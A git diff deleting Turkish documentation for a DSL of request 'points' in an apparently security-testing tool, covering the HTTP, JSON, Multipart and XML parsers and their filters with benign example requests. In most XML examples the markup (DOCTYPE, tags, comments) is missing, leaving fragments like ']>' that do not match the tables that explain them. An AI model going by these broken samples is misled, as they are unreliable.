öğelerine başvurmak için anahtarları kullanın. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki anahtar, [Ruby programlama dilinin düzenli ifadesi][link-ruby] olabilir. - -## Get Filtresi ve Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/login?id[user]=01234&id[group]=56789 -``` - -isteğinde, `id` sorgu dizesi parametresine uygulanan Hash filtresi aşağıdaki hash tablosuna başvurur: - -| Anahtar | Değer | -|--------|----------| -| user | 01234 | -| group | 56789 | - -* `GET_id_HASH_user_value` noktası, Hash filtresinin adreslediği `id` sorgu dizesi parametresi değerleri hash tablosundaki `user` anahtarına karşılık gelen `01234` değerine başvurur. -* `GET_id_HASH_group_value` noktası, Hash filtresinin adreslediği `id` sorgu dizesi parametresi değerleri hash tablosundaki `group` anahtarına karşılık gelen `56789` değerine başvurur. - - -## Form_urlencoded Ayrıştırıcısı ile Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -isteğinin - -``` -id[user]=01234&id[group]=56789 -``` - -gövdesi için, istek gövdesinde form-urlencoded biçimindeki `id` parametresine uygulanan Hash filtresi aşağıdaki diziye başvurur: - -| Anahtar | Değer | -|--------|----------| -| user | 01234 | -| group | 56789 | - -* `POST_FORM_URLENCODED_id_HASH_user_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `user` anahtarına karşılık gelen `01234` değerine başvurur. -* `POST_FORM_URLENCODED_id_HASH_group_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `group` anahtarına karşılık gelen `56789` değerine başvurur. - -## Multipart Filtresi ve Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id[user]" - -01234 ---boundary -Content-Disposition: form-data; name="id[group]" - -56789 -``` - -isteğinde, istek gövdesindeki `id` parametresine uygulanan Hash filtresi, Multipart ayrıştırıcı ile birlikte aşağıdaki hash tablosuna başvurur: - -| Anahtar | Değer | -|--------|----------| -| user | 01234 | -| group | 56789 | - -* `POST_MULTIPART_id_HASH_user_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `user` anahtarına karşılık gelen `01234` değerine başvurur. -* `POST_MULTIPART_id_HASH_group_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `group` anahtarına karşılık gelen `56789` değerine başvurur. - -## Json_doc Ayrıştırıcısı ve Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteğinin - -``` -{ - "username": "user", - "rights": "read" -} -``` - -gövdesi için, JSON biçimindeki istek gövdesine Json_doc ayrıştırıcısı ile birlikte uygulanan Hash filtresi aşağıdaki hash tablosuna başvurur: - -| Anahtar | Değer | -|----------|----------| -| username | user | -| rights | read | - -* `POST_JSON_DOC_HASH_username_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `username` anahtarına karşılık gelen `user` değerine başvurur. -* `POST_JSON_DOC_HASH_rights_value` noktası, Hash filtresinin adreslediği istek gövdesi parametreleri hash tablosundaki `rights` anahtarına karşılık gelen `read` değerine başvurur. - -## Json_obj Filtresi ve Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteğinin - -``` -{ - "username": "user", - "info": { - "status": "active", - "rights": "read" - } -} -``` - -gövdesi için, JSON biçimindeki istek gövdesine Json_doc ayrıştırıcısı ve Json_obj filtresi ile birlikte uygulanan Hash filtresi aşağıdaki hash tablosuna başvurur: - -| Anahtar | Değer | -|--------|----------| -| status | active | -| rights | read | - -* `POST_JSON_DOC_JSON_OBJ_info_HASH_status_value` noktası, Hash filtresinin adreslediği info JSON nesnesinin alt nesneleri hash tablosundaki `status` anahtarına karşılık gelen `active` değerine başvurur. -* `POST_JSON_DOC_JSON_OBJ_info_HASH_rights_value` noktası, Hash filtresinin adreslediği info JSON nesnesinin alt nesneleri hash tablosundaki `rights` anahtarına karşılık gelen `read` değerine başvurur. - -## Json_array Filtresi ve Hash Filtresinin Kullanımına Örnek - -Aşağıdaki - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteğinin - -``` -{ - "username": "user", - "posts": [{ - "title": "Greeting", - "length": "256" - }, - { - "title": "Hello World!", - "length": "32" - } - ] -} -``` - -gövdesi için, istek gövdesindeki `posts` JSON nesneleri dizisinin ilk öğesine Json_doc ayrıştırıcısı ve Json_obj ile Json_array filtreleri ile birlikte uygulanan Hash filtresi aşağıdaki hash tablosuna başvurur: - -| Anahtar | Değer | -|--------|-----------| -| title | Greeting | -| length | 256 | - -* `POST_JSON_DOC_JSON_OBJ_posts_JSON_ARRAY_0_HASH_title_value` noktası, Hash filtresinin adreslediği JSON nesneleri hash tablosundaki `title` anahtarına karşılık gelen `Greeting` değerine başvurur. -* `POST_JSON_DOC_JSON_OBJ_posts_JSON_ARRAY_0_HASH_length_value` noktası, Hash filtresinin adreslediği JSON nesneleri hash tablosundaki `length` anahtarına karşılık gelen `256` değerine başvurur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/http.md b/docs/latest-tr/fast/dsl/points/parsers/http.md deleted file mode 100644 index 10e067190c..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/http.md +++ /dev/null @@ -1,187 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-formurlencoded]: form-urlencoded.md -[link-multipart]: multipart.md -[link-xml]: xml.md -[link-json]: json.md - -[link-get-array]: array.md#the-example-of-using-the-get-filter-with-the-array-filter -[link-get-hash]: hash.md#the-example-of-using-the-get-filter-and-the-hash-filter -[link-header-array]: array.md#the-example-of-using-the-header-filter-with-the-array-filter - -[anchor1]: #uri-filter -[anchor2]: #path-filter -[anchor3]: #action_name-filter -[anchor4]: #action_ext-filter -[anchor5]: #get-filter -[anchor6]: #header-filter -[anchor7]: #post-filter - -# HTTP Ayrıştırıcı - -Örtük **HTTP ayrıştırıcı** istek işlemeyi gerçekleştirir. Bu ayrıştırıcının sağladığı filtreler kullanılırken, adının bir noktada belirtilmesi gerekmez. - -HTTP ayrıştırıcı, temel isteğe dayanarak karmaşık bir veri yapısı oluşturur. Bu veri yapısının öğelerine erişmek için aşağıdaki filtreleri kullanabilirsiniz: - -* [URI][anchor1]; -* [Path][anchor2]; -* [Action_name][anchor3]; -* [Action_ext][anchor4]; -* [Get][anchor5]; -* [Header][anchor6]; -* [Post][anchor7]. - -!!! info "Noktalarda filtre kullanımı" - Bir noktada filtre kullanmak için, filtrenin adını büyük harflerle noktaya ekleyin. - -## URI Filtresi - -**URI** filtresi, istek hedefinin mutlak yoluna atıfta bulunur. Mutlak yol, hedefin alan adını veya IP adresini takip eden `/` sembolüyle başlar. - -URI filtresi bir dize değerine atıfta bulunur. Bu filtre, diziler veya hash tabloları gibi karmaşık veri yapılarına atıfta bulunamaz. - -**Örnek:** - -`URI_value` noktası, `GET http://example.com/login/index.php` isteğinde `/login/index.php` dizgesine atıfta bulunur. - - -## Path Filtresi - -**Path** filtresi, URI yol parçalarını içeren bir diziye atıfta bulunur. Bu dizinin öğelerine, indeksleri kullanılarak atıfta bulunulmalıdır. Dizi indekslemesi `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dilinin][link-ruby] düzenli ifadesi olabilir. - -**Örnek:** - -`GET http://example.com/main/login/index.php HTTP/1.1` isteği için Path filtresi aşağıdaki diziye atıfta bulunur: - -| Index | Değer | -|--------|----------| -| 0 | main | -| 1 | login | - -* `PATH_0_value` noktası, Path filtresi tarafından `0` indeksiyle adreslenen dizide bulunan `main` değerine atıfta bulunur. -* `PATH_1_value` noktası, Path filtresi tarafından `1` indeksiyle adreslenen dizide bulunan `login` değerine atıfta bulunur. - -İstek URI’si yalnızca bir parça içeriyorsa, Path filtresi boş bir diziyi adresler. - -**Örnek:** - -`GET http://example.com/ HTTP/1.1` isteği için Path filtresi boş bir diziye atıfta bulunur. - -## Action_name Filtresi - -**Action_name** filtresi, URI’nin son `/` sembolünden sonra başlayan ve bir nokta ile biten bölümüne atıfta bulunur. - -Action_name filtresi bir dize değerine atıfta bulunur. Bu filtre, diziler veya hash tabloları gibi karmaşık veri yapılarına atıfta bulunamaz. - - -**Örnek:** -* `GET http://example.com/login/index.php` isteği için `ACTION_NAME_value` noktası `index` değerine atıfta bulunur. - -* `GET http://example.com/login/` isteği için `ACTION_NAME_value` noktası boş değere atıfta bulunur. - - -## Action_ext Filtresi - -**Action_ext** filtresi, son `/` sembolünü takip eden ilk noktadan sonra başlayan URI bölümüne atıfta bulunur. URI’nin bu bölümü istekten eksikse, Action_ext filtresi noktada kullanılamaz. - -Action_ext filtresi bir dize değerine atıfta bulunur. Bu filtre, diziler veya hash tabloları gibi karmaşık veri yapılarına atıfta bulunamaz. - -**Örnek:** - -* `GET http://example.com/main/login/index.php` isteği için `ACTION_EXT_value` noktası `php` değerine atıfta bulunur. -* `GET http://example.com/main/login/` isteğine atıfta bulunan noktada Action_ext filtresi kullanılamaz. - -## Get Filtresi - -**Get** filtresi, istek sorgu dizesindeki parametreleri içeren hash tablosuna atıfta bulunur. Bu hash tablosunun öğelerine, parametre adları kullanılarak atıfta bulunulmalıdır. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki parametre adı, [Ruby programlama dilinin][link-ruby] düzenli ifadesi olabilir. - -Sorgu dizesi parametreleri ayrıca şu karmaşık veri yapılarını da içerebilir: diziler ve hash tabloları. Bu yapılardaki öğelere erişmek için sırasıyla [Array][link-get-array] ve [Hash][link-get-hash] filtrelerini kullanın. - -**Örnek:** - -`POST http://example.com/login?id=01234&username=admin` isteği için Get filtresi aşağıdaki hash tablosuna atıfta bulunur: - -| Parametre adı | Değer | -|---------------|-------| -| id | 01234 | -| username | admin | - -* `GET_id_value` noktası, Get filtresi tarafından adreslenen hash tablosundaki `id` parametresine karşılık gelen `01234` değerine atıfta bulunur. -* `GET_username_value` noktası, Get filtresi tarafından adreslenen hash tablosundaki `username` parametresine karşılık gelen `admin` değerine atıfta bulunur. - - -## Header Filtresi - -**Header** filtresi, başlık adlarını ve değerlerini içeren hash tablosuna atıfta bulunur. Bu hash tablosunun öğelerine, başlık adları kullanılarak atıfta bulunulmalıdır. - -!!! info "Bir noktadaki başlık adı" - Bir başlık adı noktada aşağıdaki yollardan biriyle belirtilebilir: - - * Büyük harflerle - * İstekte belirtildiği şekilde - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki başlık adı, [Ruby programlama dilinin][link-ruby] düzenli ifadesi olabilir. - - -Bir başlığın değeri bir dizi de içerebilir. Bu dizideki öğelere erişmek için [Array][link-header-array] filtresini kullanın. - -**Örnek:** - -Şu - -``` -GET /login/index.php HTTP/1.1 -Connection: keep-alive -Host: example.com -Accept-encoding: gzip -``` - -isteği için Header filtresi aşağıdaki hash tablosuna atıfta bulunur: - -| Başlık adı | Değer | -|-----------------|-------------| -| Connection | keep-alive | -| Host | example.com | -| Accept-Encoding | gzip | - -* `HEADER_Connection_value` noktası, Header filtresi tarafından adreslenen hash tablosundaki `Connection` başlığına karşılık gelen `keep-alive` değerine atıfta bulunur. -* `HEADER_Host_value` noktası, Header filtresi tarafından adreslenen hash tablosundaki `Host` başlığına karşılık gelen `example.com` değerine atıfta bulunur. -* `HEADER_Accept-Encoding_value` noktası, Header filtresi tarafından adreslenen hash tablosundaki `Accept-Encoding` başlığına karşılık gelen `gzip` değerine atıfta bulunur. - - - -## Post Filtresi - -**Post** filtresi, istek gövdesinin içeriğine atıfta bulunur. - -İstek gövdesi içeriğiyle ham biçimde çalışmak için noktada Post filtresinin adını kullanabilirsiniz. - -**Örnek:** - -Şu - -``` -POST http://example.com/main/index.php HTTP/1.1 -Content-Type: text/plain -Content-Length: 28 -``` - -isteğinde, şu gövde ile - -``` -This is a simple body text. -``` - -`POST_value` noktası istek gövdesindeki `This is a simple body text.` değerine atıfta bulunur. - -Ayrıca karmaşık veri yapıları içeren bir istek gövdesiyle de çalışabilirsiniz. İlgili veri yapılarının öğelerine erişmek için, noktada Post filtresinden sonra aşağıdaki filtre ve ayrıştırıcıları kullanın: -* İstek gövdesi **form-urlencoded** biçimindeyse [Form_urlencoded][link-formurlencoded] ayrıştırıcısı -* İstek gövdesi **multipart** biçimindeyse [Multipart][link-multipart] ayrıştırıcısı -* İstek gövdesi **XML** biçimindeyse [XML ayrıştırıcısının sağladığı filtreler][link-xml] -* İstek gövdesi **JSON** biçimindeyse [Json_doc ayrıştırıcısının sağladığı filtreler][link-json] \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/json.md b/docs/latest-tr/fast/dsl/points/parsers/json.md deleted file mode 100644 index 116c3aaf74..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/json.md +++ /dev/null @@ -1,135 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-hash]: hash.md -[link-array]: array.md -[link-jsonobj-array]: array.md#the-example-of-using-the-json_obj-filter-and-the-array-filter -[link-jsonobj-hash]: hash.md#the-example-of-using-the-json_obj-filter-and-the-hash-filter -[link-jsonarray-hash]: hash.md#the-example-of-using-the-json_array-filter-and-the-hash-filter - -[anchor1]: #json_obj-filter -[anchor2]: #json_array-filter - - -# Json_doc Ayrıştırıcı - -**Json_doc** ayrıştırıcısı, isteğin herhangi bir bölümünde bulunabilen JSON biçimindeki verilerle çalışmak için kullanılır. Json_doc ayrıştırıcısı, üst düzey JSON veri kapsayıcısının içeriğine ham biçimde başvurur. - -Json_doc ayrıştırıcısı, giriş verileri temelinde karmaşık bir veri yapısı oluşturur. Bu veri yapısının öğelerine başvurmak için aşağıdaki filtreleri kullanabilirsiniz: -* [Json_obj filtresi][anchor1]; -* [Json_array filtresi][anchor2]. - -Noktada filtreyi kullanmak için, Json_doc ayrıştırıcısının ve onun sağladığı filtrenin adlarını büyük harflerle noktaya ekleyin. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteği ve şu - -``` -{ - "username": "admin", - "info":{ - "firstName": "John", - "lastName": "Smith" - } -} -``` - -gövdesi için, isteğin gövdesine uygulanan Json_doc ayrıştırıcısı aşağıdaki verilere başvurur: - -``` -{ - "username": "admin", - "info":{ - "firstName": "John", - "lastName": "Smith" - } -} -``` - - -## Json_obj Filtresi - -**Json_obj** filtresi, JSON nesnelerinin hash tablosuna başvurur. Bu hash tablosunun elemanlarına, JSON nesnelerinin adları kullanılarak başvurulmalıdır. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki JSON nesnesinin adı, [Ruby programlama dilinin düzenli ifadesi][link-ruby] olabilir. - -JSON verilerine uygulanan [Hash][link-hash] filtresi, Json_obj ile benzer şekilde çalışır. - -JSON biçimindeki hash tablolardan gelen değerler ayrıca şu karmaşık veri yapılarını da içerebilir: diziler ve hash tabloları. Bu yapılardaki öğelere başvurmak için aşağıdaki filtreleri kullanın: -* Diziler için [Array][link-jsonobj-array] filtresi veya [Json_array][anchor2] filtresi -* Hash tabloları için [Hash][link-jsonobj-hash] filtresi veya [Json_obj][anchor1] filtresi - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteği ve şu - -``` -{ - "username": "user", - "rights": "read" -} -``` - -gövdesi için, Json_doc ayrıştırıcısı ile birlikte isteğin gövdesine uygulanan Json_obj filtresi aşağıdaki tabloya başvurur: - -| Anahtar | Değer | -|----------|----------| -| username | user | -| rights | read | - -* `POST_JSON_DOC_JSON_OBJ_username_value` noktası, `user` değerine başvurur. -* `POST_JSON_DOC_JSON_OBJ_rights_value` noktası, `read` değerine başvurur. - - -## Json_array Filtresi - -**Json_array** filtresi, JSON nesne değerlerinin dizisine başvurur. Bu dizinin elemanlarına indeksler kullanılarak başvurulmalıdır. Dizi indekslemesi `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dilinin düzenli ifadesi][link-ruby] olabilir. - -JSON verilerine uygulanan [Array][link-array] filtresi, Json_array filtresiyle benzer şekilde çalışır. - -JSON biçimindeki dizilerden gelen değerler ayrıca hash tablolarını da içerebilir. [Hash][link-jsonarray-hash] veya [Json_obj][anchor1] kullanın. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteği ve şu - -``` -{ - "username": "user", - "rights":["read","write"] -} -``` - -gövdesi için, Json_doc ayrıştırıcısı ve Json_obj filtresi ile birlikte `rights` JSON nesnesine uygulanan Json_array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | read | -| 1 | write | - -* `POST_JSON_DOC_JSON_OBJ_rights_JSON_ARRAY_0_value` noktası, Json_array filtresiyle başvurulan `rights` JSON nesnesi değerleri dizisindeki `0` indeksine karşılık gelen `read` değerine başvurur. -* `POST_JSON_DOC_JSON_OBJ_rights_JSON_ARRAY_1_value` noktası, Json_array filtresiyle başvurulan `rights` JSON nesnesi değerleri dizisindeki `1` indeksine karşılık gelen `write` değerine başvurur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/multipart.md b/docs/latest-tr/fast/dsl/points/parsers/multipart.md deleted file mode 100644 index 556a9800fe..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/multipart.md +++ /dev/null @@ -1,45 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-multipart-array]: array.md#the-example-of-using-the-multipart-parser-and-the-array-filter -[link-multipart-hash]: hash.md#the-example-of-using-the-multipart-filter-and-the-hash-filter - -# Multipart Ayrıştırıcı - -**Multipart** ayrıştırıcı, multipart biçimindeki istek gövdesiyle çalışmak için kullanılır. Bu ayrıştırıcı, istek gövdesi parametrelerinin adlarının anahtar ve ilgili parametrelerin değerlerinin de değer olduğu bir hash tablosu oluşturur. Bu hash tablosundaki öğelere, parametre adları kullanılarak başvurulmalıdır. - - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki parametre adı, [Ruby programlama dili][link-ruby]nin bir düzenli ifadesi olabilir. - -!!! warning "Noktada Multipart ayrıştırıcının kullanımı" - Multipart ayrıştırıcı yalnızca, temel istek gövdesine başvuran Post filtresiyle birlikte noktada kullanılabilir. - - -**Örnek:** - -Şu istek için - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id" - -01234 ---boundary -Content-Disposition: form-data; name="username" - -admin -``` - -Multipart ayrıştırıcı istek gövdesine uygulandığında aşağıdaki hash tablosunu oluşturur: - -| Anahtar | Değer | -|-----------|----------| -| id | 01234 | -| username | admin | - -* `POST_MULTIPART_id_value` noktası, Multipart ayrıştırıcısı tarafından oluşturulan hash tablosundaki `id` anahtarına karşılık gelen `01234` değerine atıfta bulunur. -* `POST_MULTIPART_username_value` noktası, Multipart ayrıştırıcısı tarafından oluşturulan hash tablosundaki `username` anahtarına karşılık gelen `admin` değerine atıfta bulunur. - -Multipart biçimindeki istek gövdesi ayrıca aşağıdaki karmaşık veri yapılarını da içerebilir: diziler ve hash tabloları. Bu yapılardaki öğelere erişmek için sırasıyla [Array][link-multipart-array] ve [Hash][link-multipart-hash] filtrelerini kullanın. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/xml.md b/docs/latest-tr/fast/dsl/points/parsers/xml.md deleted file mode 100644 index 901a2a6b25..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/xml.md +++ /dev/null @@ -1,362 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-xmltag-array]: array.md#the-example-of-using-the-xml_tag-filter-and-the-array-filter -[link-array]: array.md - -[anchor1]: #xml_comment-filter -[anchor2]: #xml_dtd-filter -[anchor3]: #xml_dtd_entity-filter -[anchor4]: #xml_pi-filter -[anchor5]: #xml_tag-filter -[anchor6]: #xml_tag_array-filter -[anchor7]: #xml_attr-filter - -# XML Ayrıştırıcı - -**XML** ayrıştırıcı, isteğin herhangi bir bölümünde bulunabilen XML formatındaki verilerle çalışmak için kullanılır. Sağladığı filtreler kullanılırken, adının bir noktada belirtilmesi gerekir. - -XML ayrıştırıcısının adını, sağladığı filtreler olmadan noktada kullanarak, en üst düzey XML veri kapsayıcısının içeriğiyle ham biçimde çalışabilirsiniz. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - Sample text. - -``` - -`POST_XML_value` noktası aşağıdaki ham veriye karşılık gelir: - -``` -]> - - - - Sample text. - -``` - -XML ayrıştırıcı, giriş verilerine dayanarak karmaşık bir veri yapısı oluşturur. Bu veri yapısının öğelerine erişmek için şu filtreleri kullanabilirsiniz: -* [Xml_comment filtresi][anchor1]; -* [Xml_dtd filtresi][anchor2]; -* [Xml_dtd_entity filtresi][anchor3]; -* [Xml_pi filtresi][anchor4]; -* [Xml_tag filtresi][anchor5]; -* [Xml_tag_array filtresi][anchor6]; -* [Xml_attr filtresi][anchor7]. - -Filtreyi noktada kullanmak için, XML ayrıştırıcının ve onun sağladığı filtrenin adlarını büyük harflerle noktaya ekleyin. - - -## Xml_comment Filtresi - -**Xml_comment** filtresi, XML formatındaki verilerden gelen yorumları içeren diziye karşılık gelir. Bu dizinin öğelerine indeksleri kullanılarak başvurulmalıdır. Dizi indekslemesi `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -Xml_comment filtresi yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - Sample text. - - -``` - -Xml_comment filtresi XML ayrıştırıcı ile birlikte uygulandığında aşağıdaki diziye karşılık gelir: - -| Dizin | Değer | -|------|----------| -| 0 | birinci | -| 1 | ikinci | - -* `POST_XML_XML_COMMENT_0_value` noktası, Xml_comment filtresinin başvurduğu dizideki `0` indeksine karşılık gelen `birinci` değerine karşılık gelir. -* `POST_XML_XML_COMMENT_1_value` noktası, Xml_comment filtresinin başvurduğu dizideki `1` indeksine karşılık gelen `ikinci` değerine karşılık gelir. - -## Xml_dtd Filtresi - -**Xml_dtd** filtresi, XML verilerinde kullanılan harici DTD şemasına karşılık gelir. Bu filtre yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -Xml_dtd filtresi bir dize değerine karşılık gelir. Bu filtre karmaşık veri yapılarına (diziler veya hash tablolar gibi) karşılık gelemez. - - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - - - - - - Sample text. - -``` - -`POST_XML_DTD_value` noktası `example.dtd` değerine karşılık gelir. - -## Xml_dtd_entity Filtresi - -**Xml_dtd_entity** filtresi, XML verilerinde tanımlanan DTD şeması yönergelerini içeren diziye karşılık gelir. Bu dizinin öğelerine indeksleri kullanılarak başvurulmalıdır. Dizi indekslemesi `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -Xml_dtd_entity filtresi yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - - - -]> - - - - &xxe; - - - &sample; - -``` - -Xml_dtd_entity filtresi XML ayrıştırıcı ile birlikte istek gövdesine uygulandığında aşağıdaki diziye karşılık gelir: - -| Dizin | Ad | Değer | -|-------|--------|----------------------| -| 0 | xxe | aaaa | -| 1 | sample | This is sample text. | - -Bu dizide, her indeks, DTD şemasının adı ve değeriyle eşleşen ad-değer çiftine karşılık gelir. -* Şema yönergesinin adına başvurmak için, Xml_dtd_entity filtresini kullanan noktanın sonuna `_name` soneki ekleyin. -* Şema yönergesinin değerine başvurmak için, Xml_dtd_entity filtresini kullanan noktanın sonuna `_value` soneki ekleyin. - - - -* `POST_XML_XML_DTD_ENTITY_0_name` noktası, Xml_dtd_entity filtresinin başvurduğu dizideki `0` indeksine karşılık gelen `xxe` yönerge adına karşılık gelir. -* `POST_XML_XML_DTD_ENTITY_1_value` noktası, Xml_dtd_entity filtresinin başvurduğu dizideki `1` indeksine karşılık gelen `This is sample text.` yönerge değerine karşılık gelir. - -## Xml_pi Filtresi - -**Xml_pi** filtresi, XML verileri için tanımlanan işlem talimatlarının dizisine karşılık gelir. Bu dizinin öğelerine indeksleri kullanılarak başvurulmalıdır. Dizi indekslemesi `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -Xml_pi filtresi yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - - Sample text. - -``` - -Xml_pi filtresi XML ayrıştırıcı ile birlikte istek gövdesine uygulandığında aşağıdaki diziye karşılık gelir: - -| Dizin | Ad | Değer | -|-------|----------------|----------------------------------| -| 0 | xml-stylesheet | type="text/xsl" href="style.xsl" | -| 1 | last-edit | user="John" date="2019-05-11" | - -Bu dizide, her indeks, veri işleme talimatının adı ve değeriyle eşleşen ad-değer çiftine karşılık gelir. -* İşleme talimatının adına başvurmak için, Xml_pi filtresini kullanan noktanın sonuna `_name` soneki ekleyin. -* İşleme talimatının değerine başvurmak için, Xml_pi filtresini kullanan noktanın sonuna `_value` soneki ekleyin. - - - -* `POST_XML_XML_PI_0_name` noktası, Xml_pi filtresinin başvurduğu dizideki `0` indeksine karşılık gelen `xml-stylesheet` talimat adına karşılık gelir. -* `POST_XML_XML_PI_1_value` noktası, Xml_pi filtresinin başvurduğu dizideki `1` indeksine karşılık gelen `user="John" date="2019-05-11"` talimat değerine karşılık gelir. - -## Xml_tag Filtresi - -**Xml_tag** filtresi, XML verilerindeki XML etiketlerinin hash tablosuna karşılık gelir. Bu hash tablosundaki öğelere etiket adları kullanılarak başvurulmalıdır. Bu filtre yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki etiket adı, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -XML verilerindeki etiketler değer dizileri de içerebilir. Bu dizilerdeki değerlere başvurmak için [Array][link-xmltag-array] veya [Xml_tag_array][anchor6] filtresini kullanın. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - Sample text. - - - &eee; - -``` - -Xml_tag filtresi XML ayrıştırıcı ile birlikte istek gövdesine uygulandığında aşağıdaki hash tablosuna karşılık gelir: - -| Anahtar | Değer | -|--------|--------------| -| text | Sample text. | -| sample | aaaa | - -* `POST_XML_XML_TAG_text_value` noktası, Xml_tag filtresinin başvurduğu hash tablosundaki `text` anahtarına karşılık gelen `Sample text.` değerine karşılık gelir. -* `POST_XML_XML_TAG_sample_value` noktası, Xml_tag filtresinin başvurduğu hash tablosundaki `sample` anahtarına karşılık gelen `aaaa` değerine karşılık gelir. - -## Xml_tag_array Filtresi - -**Xml_tag_array** filtresi, XML verilerindeki etiket değerlerinin dizisine karşılık gelir. Bu dizinin öğelerine indeksleri kullanılarak başvurulmalıdır. Dizi indekslemesi `0` ile başlar. Bu filtre yalnızca XML ayrıştırıcı ile birlikte noktada kullanılabilir. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -XML verilerine uygulanan [Array][link-array] filtresi, Xml_tag_array ile benzer şekilde çalışır. - -!!! info "Etiket içeriğine erişim yolları" - XML ayrıştırıcı, etiket değeri ile etiket değerleri dizisindeki ilk öğe arasında ayrım yapmaz. - -Örneğin, `POST_XML_XML_TAG_myTag_value` ve `POST_XML_XML_TAG_myTag_ARRAY_0_value` noktaları aynı değere karşılık gelir. - -Örnek: - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinin şu gövdesi ile - -``` - -]> - - - - Sample text. - - - &eee; - -``` - -Xml_tag_array, istek gövdesindeki `text` etiketine uygulandığında aşağıdaki diziye karşılık gelir: - -| Dizin | Değer | -|-------|--------------| -| 0 | Sample text. | -| 1 | aaaa | - -* `POST_XML_XML_TAG_text_XML_TAG_ARRAY_0_value` noktası, Xml_tag_array filtresinin başvurduğu text etiketinin değer dizisindeki `0` indeksine karşılık gelen `Sample text.` değerine karşılık gelir. -* `POST_XML_XML_TAG_text_XML_TAG_ARRAY_1_value` noktası, Xml_tag_array filtresinin başvurduğu text etiketinin değer dizisindeki `1` indeksine karşılık gelen `aaaa` değerine karşılık gelir. - -## Xml_attr Filtresi - -**Xml_attr** filtresi, XML verilerindeki etiket özniteliklerinin hash tablosuna karşılık gelir. Bu hash tablosundaki öğelere öznitelik adları kullanılarak başvurulmalıdır. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki öznitelik adı, [Ruby programlama dili][link-ruby] düzenli 